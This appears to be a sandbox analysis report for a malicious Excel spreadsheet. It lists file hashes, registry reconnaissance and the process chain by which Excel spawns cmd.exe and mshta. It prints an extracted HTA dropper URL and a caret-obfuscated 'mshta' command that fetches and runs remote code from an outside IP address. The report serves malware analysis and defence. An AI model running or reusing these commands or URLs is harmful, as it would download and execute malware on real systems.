6407591df6ce61f946e24715faa6fba1b1f3221e2baf22f6c4f5a64f1ea98eb5

Analysis

max time kernel
144s
max time network
150s
platform
windows10-2004_x64
resource
win10v2004-20220722-en
resource tags

arch:x64arch:x86image:win10v2004-20220722-enlocale:en-usos:windows10-2004-x64system
submitted
31-07-2022 05:13

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

?i=1zaxejeum.xls
Size

71KB
MD5

21fc12ef8a4a4ba5b38a303fa7e70c08
SHA1

5700a2231371b289eae19ce62e1a73457ee582c4
SHA256

6407591df6ce61f946e24715faa6fba1b1f3221e2baf22f6c4f5a64f1ea98eb5
SHA512

8200f14c0a8023bb74b39796f7859258ef67a21a5f81704f82315695409795fe724ac8ca81513a95d50d169c824532e43865846ce42b0e541366309ace849654

Score

10^/10

Malware Config

Extracted

Language

hta

Source

URLs

hta.dropper

http://185.7.214.7/fer/fe2.html

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

cmd.exe

description	pid	pid_target	process	target process
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	3436	3420	cmd.exe	EXCEL.EXE

Blocklisted process makes network request 1 IoCs

Processes:

mshta.exe

flow pid process

32 3940 mshta.exe

flow	pid	process
32	3940	mshta.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

EXCEL.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

EXCEL.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

Processes:

EXCEL.EXE

pid process

3420 EXCEL.EXE

Suspicious use of SetWindowsHookEx 13 IoCs

Processes:

EXCEL.EXE

pid	process
3420	EXCEL.EXE
3420	EXCEL.EXE
3420	EXCEL.EXE
3420	EXCEL.EXE
3420	EXCEL.EXE
3420	EXCEL.EXE
3420	EXCEL.EXE
3420	EXCEL.EXE
3420	EXCEL.EXE
3420	EXCEL.EXE
3420	EXCEL.EXE
3420	EXCEL.EXE
3420	EXCEL.EXE

Suspicious use of WriteProcessMemory 4 IoCs

Processes:

EXCEL.EXEcmd.exe

description	pid	process	target process
PID 3420 wrote to memory of 3436	3420	EXCEL.EXE	cmd.exe
PID 3420 wrote to memory of 3436	3420	EXCEL.EXE	cmd.exe
PID 3436 wrote to memory of 3940	3436	cmd.exe	mshta.exe
PID 3436 wrote to memory of 3940	3436	cmd.exe	mshta.exe

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\_i=1zaxejeum.xls"
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:3420

C:\Windows\SYSTEM32\cmd.exe
cmd /c m^sh^t^a h^tt^p^:/^/0xb907d607/fer/fe2.html
2⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:3436

C:\Windows\system32\mshta.exe
mshta http://0xb907d607/fer/fe2.html
3⤵
- Blocklisted process makes network request
PID:3940

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

memory/3420-138-0x00007FFD38E50000-0x00007FFD38E60000-memory.dmp

Filesize
64KB

Download
memory/3420-134-0x00007FFD3B7B0000-0x00007FFD3B7C0000-memory.dmp

Filesize
64KB

Download
memory/3420-133-0x00007FFD3B7B0000-0x00007FFD3B7C0000-memory.dmp

Filesize
64KB

Download
memory/3420-135-0x00007FFD3B7B0000-0x00007FFD3B7C0000-memory.dmp

Filesize
64KB

Download
memory/3420-136-0x00007FFD3B7B0000-0x00007FFD3B7C0000-memory.dmp

Filesize
64KB

Download
memory/3420-137-0x00007FFD38E50000-0x00007FFD38E60000-memory.dmp

Filesize
64KB

Download
memory/3420-132-0x00007FFD3B7B0000-0x00007FFD3B7C0000-memory.dmp

Filesize
64KB

Download
memory/3420-143-0x00007FFD3B7B0000-0x00007FFD3B7C0000-memory.dmp

Filesize
64KB

Download
memory/3420-144-0x00007FFD3B7B0000-0x00007FFD3B7C0000-memory.dmp

Filesize
64KB

Download
memory/3420-145-0x00007FFD3B7B0000-0x00007FFD3B7C0000-memory.dmp

Filesize
64KB

Download
memory/3420-146-0x00007FFD3B7B0000-0x00007FFD3B7C0000-memory.dmp

Filesize
64KB

Download
memory/3436-139-0x0000000000000000-mapping.dmp

Download
memory/3940-140-0x0000000000000000-mapping.dmp

Download